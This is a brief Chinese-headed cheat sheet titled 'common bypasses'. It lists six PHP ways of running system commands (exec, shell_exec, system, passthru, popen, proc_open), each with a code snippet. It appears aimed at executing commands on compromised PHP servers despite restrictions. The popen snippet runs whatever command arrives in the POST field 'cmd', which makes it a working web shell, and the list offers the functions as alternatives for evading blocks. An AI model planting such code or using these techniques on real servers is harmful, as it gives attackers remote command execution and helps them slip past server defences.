常规绕过
1. exec
<?php
  echo exec('whoami');?>
2. shell_exec
<?php
  echo shell_exec('whoami');?>
3. system
<?php
  system('whoami');?>
4. passthru
<?php
  passthru("whoami");?>
5. popen
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
  while(!feof($handle))
  {     echo fread($handle, 1024);  //fread($handle, 1024);
  }  
  pclose($handle);?>
6. proc_open
<?php
  $command="ipconfig";
  $descriptorspec = array(1 => array("pipe", "w"));
  $handle = proc_open($command ,$descriptorspec , $pipes);
  while(!feof($pipes[1]))
  {     echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
  }?>